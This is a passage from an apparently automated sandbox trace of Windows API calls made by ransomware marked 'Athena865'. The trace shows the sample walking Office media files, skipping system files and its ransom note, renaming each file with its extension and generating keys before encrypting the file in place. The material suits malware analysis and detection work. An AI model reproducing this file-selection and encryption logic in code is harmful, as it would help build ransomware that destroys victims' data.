dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.054] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.054] CloseHandle (hObject=0x154) returned 1 [0139.054] CloseHandle (hObject=0x17c) returned 1 [0139.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.054] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2=".") returned 1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2="..") returned 1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2="windows") returned -1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2="bootmgr") returned 1 [0139.054] lstrcmpiW (lpString1="J0293236.WMF", lpString2="temp") returned -1 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2="pagefile.sys") returned -1 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2="boot") returned 1 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2="ids.txt") returned 1 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2="ntuser.dat") returned -1 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2="perflogs") returned -1 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2="MSBuild") returned -1 [0139.055] lstrlenW (lpString="J0293236.WMF") returned 12 [0139.055] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293236.WMF" | out: lpString1="J0293236.WMF") returned="J0293236.WMF" [0139.055] lstrlenW (lpString="J0293236.WMF") returned 12 [0139.055] lstrlenW (lpString="Athena865") returned 9 [0139.055] lstrcmpiW (lpString1="93236.WMF", lpString2="Athena865") returned -1 [0139.055] lstrlenW (lpString=".dll") returned 4 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2=".dll") returned 1 [0139.055] lstrlenW (lpString=".lnk") returned 4 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2=".lnk") returned 1 [0139.055] lstrlenW (lpString=".ini") returned 4 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2=".ini") returned 1 [0139.055] lstrlenW (lpString=".sys") returned 4 [0139.055] lstrcmpiW (lpString1="J0293236.WMF", lpString2=".sys") returned 1 [0139.055] lstrlenW (lpString="J0293236.WMF") returned 12 [0139.055] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.Athena865") returned 71 [0139.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.athena865"), dwFlags=0x1) returned 1 [0139.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1894) returned 1 [0139.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.059] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.059] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.059] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa70, lpName=0x0) returned 0x154 [0139.060] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa70) returned 0x100000 [0139.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.061] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.061] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.062] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.062] CloseHandle (hObject=0x154) returned 1 [0139.062] CloseHandle (hObject=0x17c) returned 1 [0139.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.063] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2=".") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="..") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="windows") returned -1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="bootmgr") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="temp") returned -1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="pagefile.sys") returned -1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="boot") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="ids.txt") returned 1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="ntuser.dat") returned -1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="perflogs") returned -1 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2="MSBuild") returned -1 [0139.063] lstrlenW (lpString="J0293238.WMF") returned 12 [0139.063] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293238.WMF" | out: lpString1="J0293238.WMF") returned="J0293238.WMF" [0139.063] lstrlenW (lpString="J0293238.WMF") returned 12 [0139.063] lstrlenW (lpString="Athena865") returned 9 [0139.063] lstrcmpiW (lpString1="93238.WMF", lpString2="Athena865") returned -1 [0139.063] lstrlenW (lpString=".dll") returned 4 [0139.063] lstrcmpiW (lpString1="J0293238.WMF", lpString2=".dll") returned 1 [0139.063] lstrlenW (lpString=".lnk") returned 4 [0139.064] lstrcmpiW (lpString1="J0293238.WMF", lpString2=".lnk") returned 1 [0139.064] lstrlenW (lpString=".ini") returned 4 [0139.064] lstrcmpiW (lpString1="J0293238.WMF", lpString2=".ini") returned 1 [0139.064] lstrlenW (lpString=".sys") returned 4 [0139.064] lstrcmpiW (lpString1="J0293238.WMF", lpString2=".sys") returned 1 [0139.064] lstrlenW (lpString="J0293238.WMF") returned 12 [0139.064] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.Athena865") returned 71 [0139.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.athena865"), dwFlags=0x1) returned 1 [0139.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.065] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1930) returned 1 [0139.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.066] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.066] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.067] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa90, lpName=0x0) returned 0x154 [0139.068] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa90) returned 0x100000 [0139.069] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.069] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.069] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.070] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.070] CloseHandle (hObject=0x154) returned 1 [0139.070] CloseHandle (hObject=0x17c) returned 1 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.071] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2=".") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="..") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="windows") returned -1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="bootmgr") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="temp") returned -1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="pagefile.sys") returned -1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="boot") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="ids.txt") returned 1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="ntuser.dat") returned -1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="perflogs") returned -1 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2="MSBuild") returned -1 [0139.071] lstrlenW (lpString="J0293240.WMF") returned 12 [0139.071] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293240.WMF" | out: lpString1="J0293240.WMF") returned="J0293240.WMF" [0139.071] lstrlenW (lpString="J0293240.WMF") returned 12 [0139.071] lstrlenW (lpString="Athena865") returned 9 [0139.071] lstrcmpiW (lpString1="93240.WMF", lpString2="Athena865") returned -1 [0139.071] lstrlenW (lpString=".dll") returned 4 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2=".dll") returned 1 [0139.071] lstrlenW (lpString=".lnk") returned 4 [0139.071] lstrcmpiW (lpString1="J0293240.WMF", lpString2=".lnk") returned 1 [0139.072] lstrlenW (lpString=".ini") returned 4 [0139.072] lstrcmpiW (lpString1="J0293240.WMF", lpString2=".ini") returned 1 [0139.072] lstrlenW (lpString=".sys") returned 4 [0139.072] lstrcmpiW (lpString1="J0293240.WMF", lpString2=".sys") returned 1 [0139.072] lstrlenW (lpString="J0293240.WMF") returned 12 [0139.072] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.Athena865") returned 71 [0139.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.athena865"), dwFlags=0x1) returned 1 [0139.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.073] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2190) returned 1 [0139.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.074] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.074] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.074] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.075] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb90, lpName=0x0) returned 0x154 [0139.076] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb90) returned 0x100000 [0139.077] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.077] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.078] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.079] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.079] CloseHandle (hObject=0x154) returned 1 [0139.079] CloseHandle (hObject=0x17c) returned 1 [0139.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.079] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2=".") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="..") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="windows") returned -1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="bootmgr") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="temp") returned -1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="pagefile.sys") returned -1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="boot") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="ids.txt") returned 1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="ntuser.dat") returned -1 [0139.079] lstrcmpiW (lpString1="J0293570.WMF", lpString2="perflogs") returned -1 [0139.080] lstrcmpiW (lpString1="J0293570.WMF", lpString2="MSBuild") returned -1 [0139.080] lstrlenW (lpString="J0293570.WMF") returned 12 [0139.080] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293570.WMF" | out: lpString1="J0293570.WMF") returned="J0293570.WMF" [0139.080] lstrlenW (lpString="J0293570.WMF") returned 12 [0139.080] lstrlenW (lpString="Athena865") returned 9 [0139.080] lstrcmpiW (lpString1="93570.WMF", lpString2="Athena865") returned -1 [0139.080] lstrlenW (lpString=".dll") returned 4 [0139.080] lstrcmpiW (lpString1="J0293570.WMF", lpString2=".dll") returned 1 [0139.080] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.Athena865") returned 71 [0139.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.athena865"), dwFlags=0x1) returned 1 [0139.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.081] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2348) returned 1 [0139.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.082] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.082] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.082] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.083] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x154 [0139.084] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc30) returned 0x100000 [0139.085] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.085] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.085] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.086] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.086] CloseHandle (hObject=0x154) returned 1 [0139.086] CloseHandle (hObject=0x17c) returned 1 [0139.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: 